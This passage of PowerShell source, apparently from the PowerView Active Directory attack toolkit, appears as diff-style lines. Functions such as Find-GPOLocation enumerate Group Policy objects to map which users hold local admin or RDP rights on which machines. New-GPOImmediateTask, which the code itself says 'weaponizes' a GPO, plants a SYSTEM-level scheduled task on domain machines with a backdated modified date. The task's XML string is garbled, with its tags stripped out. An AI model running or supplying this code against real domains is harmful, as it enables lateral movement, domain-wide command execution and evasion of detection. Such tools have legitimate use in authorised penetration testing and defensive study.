alternate credentials - for connection to the target domain. - - .EXAMPLE - - PS C:\> Get-NetGPO -Domain testlab.local - - Returns the GPOs in the 'testlab.local' domain. -#> - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $GPOname = '*', - - [String] - $DisplayName, - - [String] - $ComputerName, - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200, - - [Management.Automation.PSCredential] - $Credential - ) - - begin { - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize - } - - process { - if ($GPOSearcher) { - - if($ComputerName) { - $GPONames = @() - $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize - - if(!$Computers) { - throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" - } - - # get the given computer's OU - $ComputerOUs = @() - ForEach($Computer in $Computers) { - # extract all OUs a computer is a part of - $DN = $Computer.distinguishedname - - $ComputerOUs += $DN.split(",") | ForEach-Object { - if($_.startswith("OU=")) { - $DN.substring($DN.indexof($_)) - } - } - } - - Write-Verbose "ComputerOUs: $ComputerOUs" - - # find all the GPOs linked to the computer's OU - ForEach($ComputerOU in $ComputerOUs) { - $GPONames += Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $ComputerOU -FullData -PageSize $PageSize | ForEach-Object { - # get any GPO links - write-verbose "blah: $($_.name)" - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } - } - } - - Write-Verbose "GPONames: $GPONames" - - # find any GPOs linked to the site for the given computer - $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName - if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { - $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { - if($_.gplink) { - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } - } - } - } - - $GPONames | Where-Object{$_ -and ($_ -ne '')} | ForEach-Object { - - # use the gplink as an ADS path to enumerate all GPOs for the computer - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_ -PageSize $PageSize - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" - - try { - $Results = $GPOSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $Out = Convert-LDAPProperty -Properties $_.Properties - $Out | Add-Member Noteproperty 'ComputerName' $ComputerName - $Out - } - $Results.dispose() - $GPOSearcher.dispose() - } - catch { - Write-Warning $_ - } - } - } - - else { - if($DisplayName) { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" - } - else { - $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" - } - - try { - $Results = $GPOSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - if($ADSPath -and ($ADSpath -Match '^GC://')) { - $Properties = Convert-LDAPProperty -Properties $_.Properties - try { - $GPODN = $Properties.distinguishedname - $GPODomain = $GPODN.subString($GPODN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' - $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($Properties.cn)" - $Properties | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath - $Properties - } - catch { - $Properties - } - } - else { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties - } - } - $Results.dispose() - $GPOSearcher.dispose() - } - catch { - Write-Warning $_ - } - } - } - } -} - - -function New-GPOImmediateTask { -<# - .SYNOPSIS - - Builds an 'Immediate' schtask to push out through a specified GPO. - - .PARAMETER TaskName - - Name for the schtask to recreate. Required. - - .PARAMETER Command - - The command to execute with the task, defaults to 'powershell' - - .PARAMETER CommandArguments - - The arguments to supply to the -Command being launched. - - .PARAMETER TaskDescription - - An optional description for the task. - - .PARAMETER TaskAuthor - - The displayed author of the task, defaults to ''NT AUTHORITY\System' - - .PARAMETER TaskModifiedDate - - The displayed modified date for the task, defaults to 30 days ago. - - .PARAMETER GPOname - - The GPO name to build the task for. - - .PARAMETER GPODisplayName - - The GPO display name to build the task for. - - .PARAMETER Domain - - The domain to query for the GPOs, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ADSpath - - The LDAP source to search through - e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - - .PARAMETER Credential - - A [Management.Automation.PSCredential] object of alternate credentials - for connection to the target. - - .EXAMPLE - - PS> New-GPOImmediateTask -TaskName Debugging -GPODisplayName SecurePolicy -CommandArguments '-c "123 | Out-File C:\Temp\debug.txt"' -Force - - Create an immediate schtask that executes the specified PowerShell arguments and - push it out to the 'SecurePolicy' GPO, skipping the confirmation prompt. - - .EXAMPLE - - PS> New-GPOImmediateTask -GPODisplayName SecurePolicy -Remove -Force - - Remove all schtasks from the 'SecurePolicy' GPO, skipping the confirmation prompt. -#> - [CmdletBinding(DefaultParameterSetName = 'Create')] - Param ( - [Parameter(ParameterSetName = 'Create', Mandatory = $True)] - [String] - [ValidateNotNullOrEmpty()] - $TaskName, - - [Parameter(ParameterSetName = 'Create')] - [String] - [ValidateNotNullOrEmpty()] - $Command = 'powershell', - - [Parameter(ParameterSetName = 'Create')] - [String] - [ValidateNotNullOrEmpty()] - $CommandArguments, - - [Parameter(ParameterSetName = 'Create')] - [String] - [ValidateNotNullOrEmpty()] - $TaskDescription = '', - - [Parameter(ParameterSetName = 'Create')] - [String] - [ValidateNotNullOrEmpty()] - $TaskAuthor = 'NT AUTHORITY\System', - - [Parameter(ParameterSetName = 'Create')] - [String] - [ValidateNotNullOrEmpty()] - $TaskModifiedDate = (Get-Date (Get-Date).AddDays(-30) -Format u).trim("Z"), - - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] - [String] - $GPOname, - - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] - [String] - $GPODisplayName, - - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] - [String] - $Domain, - - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] - [String] - $DomainController, - - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] - [String] - $ADSpath, - - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] - [Switch] - $Force, - - [Parameter(ParameterSetName = 'Remove')] - [Switch] - $Remove, - - [Parameter(ParameterSetName = 'Create')] - [Parameter(ParameterSetName = 'Remove')] - [Management.Automation.PSCredential] - $Credential - ) - - # build the XML spec for our 'immediate' scheduled task - $TaskXML = ''+$TaskAuthor+''+$TaskDescription+'NT AUTHORITY\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3'+$Command+''+$CommandArguments+'%LocalTimeXmlEx%%LocalTimeXmlEx%true' - - if (!$PSBoundParameters['GPOname'] -and !$PSBoundParameters['GPODisplayName']) { - Write-Warning 'Either -GPOName or -GPODisplayName must be specified' - return - } - - # eunmerate the specified GPO(s) - $GPOs = Get-NetGPO -GPOname $GPOname -DisplayName $GPODisplayName -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -Credential $Credential - - if(!$GPOs) { - Write-Warning 'No GPO found.' - return - } - - $GPOs | ForEach-Object { - $ProcessedGPOName = $_.Name - try { - Write-Verbose "Trying to weaponize GPO: $ProcessedGPOName" - - # map a network drive as New-PSDrive/New-Item/etc. don't accept -Credential properly :( - if($Credential) { - Write-Verbose "Mapping '$($_.gpcfilesyspath)' to network drive N:\" - $Path = $_.gpcfilesyspath.TrimEnd('\') - $Net = New-Object -ComObject WScript.Network - $Net.MapNetworkDrive("N:", $Path, $False, $Credential.UserName, $Credential.GetNetworkCredential().Password) - $TaskPath = "N:\Machine\Preferences\ScheduledTasks\" - } - else { - $TaskPath = $_.gpcfilesyspath + "\Machine\Preferences\ScheduledTasks\" - } - - if($Remove) { - if(!(Test-Path "$TaskPath\ScheduledTasks.xml")) { - Throw "Scheduled task doesn't exist at $TaskPath\ScheduledTasks.xml" - } - - if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Removing schtask at $TaskPath\ScheduledTasks.xml")) { - return - } - - Remove-Item -Path "$TaskPath\ScheduledTasks.xml" -Force - } - else { - if (!$Force -and !$psCmdlet.ShouldContinue('Do you want to continue?',"Creating schtask at $TaskPath\ScheduledTasks.xml")) { - return - } - - # create the folder if it doesn't exist - $Null = New-Item -ItemType Directory -Force -Path $TaskPath - - if(Test-Path "$TaskPath\ScheduledTasks.xml") { - Throw "Scheduled task already exists at $TaskPath\ScheduledTasks.xml !" - } - - $TaskXML | Set-Content -Encoding ASCII -Path "$TaskPath\ScheduledTasks.xml" - } - - if($Credential) { - Write-Verbose "Removing mounted drive at N:\" - $Net = New-Object -ComObject WScript.Network - $Net.RemoveNetworkDrive("N:") - } - } - catch { - Write-Warning "Error for GPO $ProcessedGPOName : $_" - if($Credential) { - Write-Verbose "Removing mounted drive at N:\" - $Net = New-Object -ComObject WScript.Network - $Net.RemoveNetworkDrive("N:") - } - } - } -} - - -function Get-NetGPOGroup { -<# - .SYNOPSIS - - Returns all GPOs in a domain that set "Restricted Groups" or use groups.xml on on target machines. - - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: Get-NetGPO, Get-GptTmpl, Get-GroupsXML, Convert-NameToSid, Convert-SidToName - Optional Dependencies: None - - .DESCRIPTION - - First enumerates all GPOs in the current/target domain using Get-NetGPO with passed - arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or - group membership is set through Group Policy Preferences groups.xml files. For any - GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership' - section data is processed if present. Any found Groups.xml files are parsed with - Get-GroupsXML and those memberships are returned as well. - - .PARAMETER GPOname - - The GPO name to query for, wildcards accepted. - - .PARAMETER DisplayName - - The GPO display name to query for, wildcards accepted. - - .PARAMETER Domain - - The domain to query for GPOs, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER ADSpath - - The LDAP source to search through for GPOs. - e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - - .PARAMETER ResolveMemberSIDs - - Switch. Try to resolve the SIDs of all found group members. - - .PARAMETER UsePSDrive - - Switch. Mount any found policy files with temporary PSDrives. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .EXAMPLE - - PS C:\> Get-NetGPOGroup - - Returns all local groups set by GPO along with their members and memberof. - - .LINK - - https://morgansimonsenblog.azurewebsites.net/tag/groups/ -#> - - [CmdletBinding()] - Param ( - [String] - $GPOname = '*', - - [String] - $DisplayName, - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $ADSpath, - - [Switch] - $ResolveMemberSIDs, - - [Switch] - $UsePSDrive, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) - - $Option = [System.StringSplitOptions]::RemoveEmptyEntries - - # get every GPO from the specified domain with restricted groups set - Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize | ForEach-Object { - - $GPOdisplayName = $_.displayname - $GPOname = $_.name - $GPOPath = $_.gpcfilesyspath - - $ParseArgs = @{ - 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" - 'UsePSDrive' = $UsePSDrive - } - - # parse the GptTmpl.inf 'Restricted Groups' file if it exists - $Inf = Get-GptTmpl @ParseArgs - - if($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) { - - $Memberships = @{} - - # group the members/memberof fields for each entry - ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) { - $Group, $Relation = $Membership.Key.Split('__', $Option) | ForEach-Object {$_.Trim()} - - # extract out ALL members - $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_} - - if($ResolveMemberSIDs) { - # if the resulting member is username and not a SID, attempt to resolve it - $GroupMembers = @() - ForEach($Member in $MembershipValue) { - if($Member -and ($Member.Trim() -ne '')) { - if($Member -notmatch '^S-1-.*') { - $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID - if($MemberSID) { - $GroupMembers += $MemberSID - } - else { - $GroupMembers += $Member - } - } - else { - $GroupMembers += $Member - } - } - } - $MembershipValue = $GroupMembers - } - - if(-not $Memberships[$Group]) { - $Memberships[$Group] = @{} - } - if($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)} - $Memberships[$Group].Add($Relation, $MembershipValue) - } - - ForEach ($Membership in $Memberships.GetEnumerator()) { - if($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) { - # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name - $GroupSID = $Membership.Key.Trim('*') - if($GroupSID -and ($GroupSID.Trim() -ne '')) { - $GroupName = Convert-SidToName -SID $GroupSID - } - else { - $GroupName = $False - } - } - else { - $GroupName = $Membership.Key - - if($GroupName -and ($GroupName.Trim() -ne '')) { - if($Groupname -match 'Administrators') { - $GroupSID = 'S-1-5-32-544' - } - elseif($Groupname -match 'Remote Desktop') { - $GroupSID = 'S-1-5-32-555' - } - elseif($Groupname -match 'Guests') { - $GroupSID = 'S-1-5-32-546' - } - elseif($GroupName.Trim() -ne '') { - $GroupSID = Convert-NameToSid -Domain $Domain -ObjectName $Groupname | Select-Object -ExpandProperty SID - } - else { - $GroupSID = $Null - } - } - } - - $GPOGroup = New-Object PSObject - $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName - $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName - $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath - $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups' - $GPOGroup | Add-Member Noteproperty 'Filters' $Null - $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName - $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID - $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof - $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members - $GPOGroup - } - } - - $ParseArgs = @{ - 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" - 'UsePSDrive' = $UsePSDrive - } - - Get-GroupsXML @ParseArgs | ForEach-Object { - if($ResolveMemberSIDs) { - $GroupMembers = @() - ForEach($Member in $_.GroupMembers) { - if($Member -and ($Member.Trim() -ne '')) { - if($Member -notmatch '^S-1-.*') { - # if the resulting member is username and not a SID, attempt to resolve it - $MemberSID = Convert-NameToSid -Domain $Domain -ObjectName $Member | Select-Object -ExpandProperty SID - if($MemberSID) { - $GroupMembers += $MemberSID - } - else { - $GroupMembers += $Member - } - } - else { - $GroupMembers += $Member - } - } - } - $_.GroupMembers = $GroupMembers - } - - $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName - $_ | Add-Member Noteproperty 'GPOName' $GPOName - $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences' - $_ - } - } -} - - -function Find-GPOLocation { -<# - .SYNOPSIS - - Enumerates the machines where a specific user/group is a member of a specific - local group, all through GPO correlation. - - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: Get-NetUser, Get-NetGroup, Get-NetGPOGroup, Get-NetOU, Get-NetComputer, Get-ADObject, Get-NetSite - Optional Dependencies: None - - .DESCRIPTION - - Takes a user/group name and optional domain, and determines the computers in the domain - the user/group has local admin (or RDP) rights to. - - It does this by: - 1. resolving the user/group to its proper SID - 2. enumerating all groups the user/group is a current part of - and extracting all target SIDs to build a target SID list - 3. pulling all GPOs that set 'Restricted Groups' or Groups.xml by calling - Get-NetGPOGroup - 4. matching the target SID list to the queried GPO SID list - to enumerate all GPO the user is effectively applied with - 5. enumerating all OUs and sites and applicable GPO GUIs are - applied to through gplink enumerating - 6. querying for all computers under the given OUs or sites - - If no user/group is specified, all user/group -> machine mappings discovered through - GPO relationships are returned. - - .PARAMETER UserName - - A (single) user name name to query for access. - - .PARAMETER GroupName - - A (single) group name name to query for access. - - .PARAMETER Domain - - Optional domain the user exists in for querying, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER LocalGroup - - The local group to check access against. - Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), - or a custom local SID. Defaults to local 'Administrators'. - - .PARAMETER UsePSDrive - - Switch. Mount any found policy files with temporary PSDrives. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .EXAMPLE - - PS C:\> Find-GPOLocation - - Find all user/group -> machine relationships where the user/group is a member - of the local administrators group on target machines. - - .EXAMPLE - - PS C:\> Find-GPOLocation -UserName dfm - - Find all computers that dfm user has local administrator rights to in - the current domain. - - .EXAMPLE - - PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local - - Find all computers that dfm user has local administrator rights to in - the dev.testlab.local domain. - - .EXAMPLE - - PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP - - Find all computers that jason has local RDP access rights to in the domain. -#> - - [CmdletBinding()] - Param ( - [String] - $UserName, - - [String] - $GroupName, - - [String] - $Domain, - - [String] - $DomainController, - - [String] - $LocalGroup = 'Administrators', - - [Switch] - $UsePSDrive, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) - - if($UserName) { - # if a group name is specified, get that user object so we can extract the target SID - $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController -PageSize $PageSize | Select-Object -First 1 - $UserSid = $User.objectsid - - if(-not $UserSid) { - Throw "User '$UserName' not found!" - } - - $TargetSIDs = @($UserSid) - $ObjectSamAccountName = $User.samaccountname - $TargetObject = $UserSid - } - elseif($GroupName) { - # if a group name is specified, get that group object so we can extract the target SID - $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Select-Object -First 1 - $GroupSid = $Group.objectsid - - if(-not $GroupSid) { - Throw "Group '$GroupName' not found!" - } - - $TargetSIDs = @($GroupSid) - $ObjectSamAccountName = $Group.samaccountname - $TargetObject = $GroupSid - } - else { - $TargetSIDs = @('*') - } - - # figure out what the SID is of the target local group we're checking for membership in - if($LocalGroup -like "*Admin*") { - $TargetLocalSID = 'S-1-5-32-544' - } - elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { - $TargetLocalSID = 'S-1-5-32-555' - } - elseif ($LocalGroup -like "S-1-5-*") { - $TargetLocalSID = $LocalGroup - } - else { - throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' SID format." - } - - # if we're not listing all relationships, use the tokenGroups approach from Get-NetGroup to - # get all effective security SIDs this object is a part of - if($TargetSIDs[0] -and ($TargetSIDs[0] -ne '*')) { - $TargetSIDs += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids - } - - if(-not $TargetSIDs) { - throw "No effective target SIDs!" - } - - Write-Verbose "TargetLocalSID: $TargetLocalSID" - Write-Verbose "Effective target SIDs: $TargetSIDs" - - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'UsePSDrive' = $UsePSDrive - 'ResolveMemberSIDs' = $True - 'PageSize' = $PageSize - } - - # enumerate all GPO group mappings for the target domain that involve our target SID set - $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - - $GPOgroup = $_ - - # if the locally set group is what we're looking for, check the GroupMembers ('members') - # for our target SID - if($GPOgroup.GroupSID -match $TargetLocalSID) { - $GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object { - if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) { - $GPOgroup - } - } - } - # if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs - if( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) { - if( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) { - $GPOgroup - } - } - } | Sort-Object -Property GPOName -Unique - - $GPOgroups | ForEach-Object { - - $GPOname = $_.GPODisplayName - $GPOguid = $_.GPOName - $GPOPath = $_.GPOPath - $GPOType = $_.GPOType - if($_.GroupMembers) { - $GPOMembers = $_.GroupMembers - } - else { - $GPOMembers = $_.GroupSID - } - - $Filters = $_.Filters - - if(-not $TargetObject) { - # if the * wildcard was used, set the ObjectDistName as the GPO member SID set - # so all relationship mappings are output - $TargetObjectSIDs = $GPOMembers - } - else { - $TargetObjectSIDs = $TargetObject - } - - # find any OUs that have this GUID applied and then retrieve any computers from the OU - Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData -PageSize $PageSize | ForEach-Object { - if($Filters) { - # filter for computer name/org unit if a filter is specified - # TODO: handle other filters (i.e. OU filters?) again, I hate you GPP... - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { - $_.adspath -match ($Filters.Value) - } | ForEach-Object { $_.dnshostname } - } - else { - $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize - } - - if($OUComputers) { - if($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)} - - ForEach ($TargetSid in $TargetObjectSIDs) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize - - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - - $GPOLocation = New-Object PSObject - $GPOLocation | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOLocation | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $GPOLocation | Add-Member Noteproperty 'Domain' $Domain - $GPOLocation | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOLocation | Add-Member Noteproperty 'GPODisplayName' $GPOname - $GPOLocation | Add-Member Noteproperty 'GPOGuid' $GPOGuid - $GPOLocation | Add-Member Noteproperty 'GPOPath' $GPOPath - $GPOLocation | Add-Member Noteproperty 'GPOType' $GPOType - $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $GPOLocation | Add-Member Noteproperty 'ComputerName' $OUComputers - $GPOLocation.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') - $GPOLocation - } - } - } - - # find any sites that have this GUID applied - Get-NetSite -Domain $Domain -DomainController $DomainController -GUID $GPOguid -PageSize $PageSize -FullData | ForEach-Object { - - ForEach ($TargetSid in $TargetObjectSIDs) { - $Object = Get-ADObject -SID $TargetSid -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize - - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - - $AppliedSite = New-Object PSObject - $AppliedSite | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $AppliedSite | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $AppliedSite | Add-Member Noteproperty 'ObjectSID' $Object.objectsid - $AppliedSite | Add-Member Noteproperty 'IsGroup' $IsGroup - $AppliedSite | Add-Member Noteproperty 'Domain' $Domain - $AppliedSite | Add-Member Noteproperty 'GPODisplayName' $GPOname - $AppliedSite | Add-Member Noteproperty 'GPOGuid' $GPOGuid - $AppliedSite | Add-Member Noteproperty 'GPOPath' $GPOPath - $AppliedSite | Add-Member Noteproperty 'GPOType' $GPOType - $AppliedSite | Add-Member Noteproperty 'ContainerName' $_.distinguishedname - $AppliedSite | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl - $AppliedSite.PSObject.TypeNames.Add('PowerView.GPOLocalGroup') - $AppliedSite - } - } - } -} - - -function Find-GPOComputerAdmin { -<# - .SYNOPSIS - - Takes a computer (or GPO) object and determines what users/groups are in the specified - local group for the machine. - - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: Get-NetComputer, Get-SiteName, Get-NetSite, Get-NetGPOGroup, Get-ADObject, Get-NetGroupMember, Convert-SidToName - Optional Dependencies: None - - .DESCRIPTION - - If a -ComputerName is specified, retrieve the complete computer object, attempt to - determine the OU the computer is a part of. Then resolve the computer's site name with - Get-SiteName and retrieve all sites object Get-NetSite. For those results, attempt to - enumerate all linked GPOs and associated local group settings with Get-NetGPOGroup. For - each resulting GPO group, resolve the resulting user/group name to a full AD object and - return the results. This will return the domain objects that are members of the specified - -LocalGroup for the given computer. - - Inverse of Find-GPOLocation. - - .PARAMETER ComputerName - - The computer to determine local administrative access to. - - .PARAMETER OUName - - OU name to determine who has local adminisrtative acess to computers - within it. - - .PARAMETER Domain - - Optional domain the computer/OU exists in, defaults to the current domain. - - .PARAMETER DomainController - - Domain controller to reflect LDAP queries through. - - .PARAMETER Recurse - - Switch. If a returned member is a group, recurse and get all members. - - .PARAMETER LocalGroup - - The local group to check access against. - Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), - or a custom local SID. - Defaults to local 'Administrators'. - - .PARAMETER UsePSDrive - - Switch. Mount any found policy files with temporary PSDrives. - - .PARAMETER PageSize - - The PageSize to set for the LDAP searcher object. - - .EXAMPLE - - PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local - - Finds users who have local admin rights over WINDOWS3 through GPO correlation. - - .EXAMPLE - - PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP - - Finds users who have RDP rights over WINDOWS3 through GPO correlation. -#> - - [CmdletBinding()] - Param ( - [Parameter(ValueFromPipeline=$True)] - [String] - $ComputerName, - - [String] - $OUName, - - [String] - $Domain, - - [String] - $DomainController, - - [Switch] - $Recurse, - - [String] - $LocalGroup = 'Administrators', - - [Switch] - $UsePSDrive, - - [ValidateRange(1,10000)] - [Int] - $PageSize = 200 - ) - - process { - - if(!$ComputerName -and !$OUName) { - Throw "-ComputerName or -OUName must be provided" - } - - $GPOGroups = @() - - if($ComputerName) { - $Computers = Get-NetComputer -ComputerName $ComputerName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize - - if(!$Computers) { - throw "Computer $ComputerName in domain '$Domain' not found! Try a fully qualified host name" - } - - $TargetOUs = @() - ForEach($Computer in $Computers) { - # extract all OUs a computer is a part of - $DN = $Computer.distinguishedname - - $TargetOUs += $DN.split(",") | ForEach-Object { - if($_.startswith("OU=")) { - $DN.substring($DN.indexof($_)) - } - } - } - - # enumerate any linked GPOs for the computer's site - $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName - if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { - $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { - if($_.gplink) { - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } - } - } | ForEach-Object { - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'ResolveMemberSIDs' = $True - 'UsePSDrive' = $UsePSDrive - 'PageSize' = $PageSize - } - - # for each GPO link, get any locally set user/group SIDs - Get-NetGPOGroup @GPOGroupArgs - } - } - } - else { - $TargetOUs = @($OUName) - } - - Write-Verbose "Target OUs: $TargetOUs" - - $TargetOUs | Where-Object {$_} | ForEach-Object { - - $GPOLinks = Get-NetOU -Domain $Domain -DomainController $DomainController -ADSpath $_ -FullData -PageSize $PageSize | ForEach-Object { - # and then get any GPO links - if($_.gplink) { - $_.gplink.split("][") | ForEach-Object { - if ($_.startswith("LDAP")) { - $_.split(";")[0] - } - } - } - } - - $GPOGroupArgs = @{ - 'Domain' = $Domain - 'DomainController' = $DomainController - 'UsePSDrive' = $UsePSDrive - 'ResolveMemberSIDs' = $True - 'PageSize' = $PageSize - } - - # extract GPO groups that are set through any gPlink for this OU - $GPOGroups += Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { - ForEach($GPOLink in $GPOLinks) { - $Name = $_.GPOName - if($GPOLink -like "*$Name*") { - $_ - } - } - } - } - - # for each found GPO group, resolve the SIDs of the members - $GPOgroups | Sort-Object -Property GPOName -Unique | ForEach-Object { - $GPOGroup = $_ - - if($GPOGroup.GroupMembers) { - $GPOMembers = $GPOGroup.GroupMembers - } - else { - $GPOMembers = $GPOGroup.GroupSID - } - - $GPOMembers | ForEach-Object { - # resolve this SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -PageSize $PageSize -SID $_ - - $IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype - - $GPOComputerAdmin = New-Object PSObject - $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectName' $Object.samaccountname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname - $GPOComputerAdmin | Add-Member Noteproperty 'ObjectSID' $_ - $GPOComputerAdmin | Add-Member Noteproperty 'IsGroup' $IsGroup - $GPOComputerAdmin | Add-Member Noteproperty 'GPODisplayName' $GPOGroup.GPODisplayName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOGuid' $GPOGroup.GPOName - $GPOComputerAdmin | Add-Member Noteproperty 'GPOPath' 